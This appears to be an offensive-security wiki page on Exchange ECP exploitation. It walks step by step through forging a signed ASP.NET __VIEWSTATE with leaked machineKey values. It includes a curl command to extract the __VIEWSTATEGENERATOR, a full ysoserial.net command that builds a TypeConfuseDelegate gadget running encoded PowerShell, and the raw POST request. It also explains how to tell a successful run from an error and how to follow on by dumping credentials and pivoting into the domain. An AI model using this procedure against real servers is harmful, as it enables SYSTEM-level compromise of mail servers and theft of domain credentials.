ASP.NET pages round-trip page state in a hidden __VIEWSTATE field, protected by the application's machineKey (a validationKey and decryptionKey in web.config). The server trusts any __VIEWSTATE that carries a valid signature under those keys, deserializing it with BinaryFormatter before the page runs. The ECP application (/ecp/default.aspx) is an ASP.NET app like any other. If you know its machineKey, you forge a __VIEWSTATE that deserializes into a gadget chain executing a command, sign it with the keys, and POST it: the ECP app pool deserializes it and runs your command as the Exchange identity, typically SYSTEM. This is build-independent; it depends entirely on key exposure, not on an unpatched proxy.
Preconditions#
- The ECP
machineKey(validationKey,decryptionKey, and the algorithms). This comes from a static key shipped in a vulnerable build, a key leaked through another bug (an SSRF read ofweb.config, or a ProxyLogon-style back-end file read), or recovery from a foothold. - A reachable
/ecp/and a valid__VIEWSTATEGENERATORvalue for the target page (it is static per page and visible in the page HTML, or a known default). - The
__VIEWSTATEGENERATORand keys must match the target page so the signature validates.
Step 1: confirm the page and generator#
Fetch the ECP page and read the generator token that pins the ViewState to this page:
curl -sk 'https://mail.example.com/ecp/default.aspx' | grep -oE '__VIEWSTATEGENERATOR" value="[0-9A-F]+"'
# -> __VIEWSTATEGENERATOR" value="B97B4E27"
A returned generator value confirms the page serves ViewState and gives the token to sign against. If ECP requires a session before reaching default.aspx, pair this with a valid ECP cookie or an SSRF that reaches the page.
Step 2: forge the signed ViewState payload#
ysoserial.net builds a __VIEWSTATE for a chosen gadget (TypeConfuseDelegate is the common one), signs it with the leaked keys, and binds it to the page path and generator so the signature validates server-side:
# Build a signed ViewState that runs a command when deserialized
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -enc <base64 payload>" \
--path="/ecp/default.aspx" \
--apppath="/ecp" \
--generator="B97B4E27" \
--validationkey="<leaked-validationKey>" \
--validationalg="SHA1" \
--decryptionkey="<leaked-decryptionKey>" \
--decryptionalg="AES"
# outputs a long URL-encoded __VIEWSTATE string
The output is the URL-encoded __VIEWSTATE value. --path and --apppath must match the request URL exactly, and --generator must match step 1, or the server rejects the signature before deserializing.
Step 3: POST it to the page#
Send the forged ViewState to the same page and generator. The server validates the signature (it passes, because you signed with the real keys), then deserializes and runs the gadget:
POST /ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=<forged-urlencoded-viewstate> HTTP/1.1
Host: mail.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Interpret the result: a 500 ViewState error that is not a MAC validation failure usually means the gadget ran and the page then errored on the mangled state, which is the expected success signature; verify by the side effect (a callback, a written file, whoami output in a staged location). A 500 reading "validation of viewstate MAC failed" means the keys, path, or generator do not match, so recheck all three.
Variants and follow-on#
- The same technique applies to any Exchange ASP.NET path that round-trips ViewState once you hold its
machineKey; ECPdefault.aspxis the reliable one. - Gadget choice can be swapped (
TypeConfuseDelegate,ActivitySurrogateSelector) when one is blocked by the server's deserialization binder. - Code runs as the ECP app-pool identity, generally
SYSTEM; follow on exactly as any ExchangeSYSTEM, dumping credentials and pivoting to the domain through Exchange's AD rights (see the RCE chains overview and PrivExchange).
Exploitation notes#
- The whole technique rests on key exposure: a static key in a vulnerable build, or a key read through a chained SSRF/file-read, so this is the natural second stage after a ProxyLogon back-end file read that leaks
web.config. - The three binding values (
path,apppath,generator) plus the keys all have to match; a MAC-failure500is the signature not validating, not the gadget failing. - It is build-independent, so it can land on a server patched against the proxy chains, as long as the
machineKeyis known.
Tools#
- ysoserial.net (
-p ViewState): forge and sign the__VIEWSTATEpayload. - curl / Burp: POST the forged ViewState and read the response signature.
- Metasploit (
exchange_ecp_viewstatestyle modules): maintained wrappers when keys are known.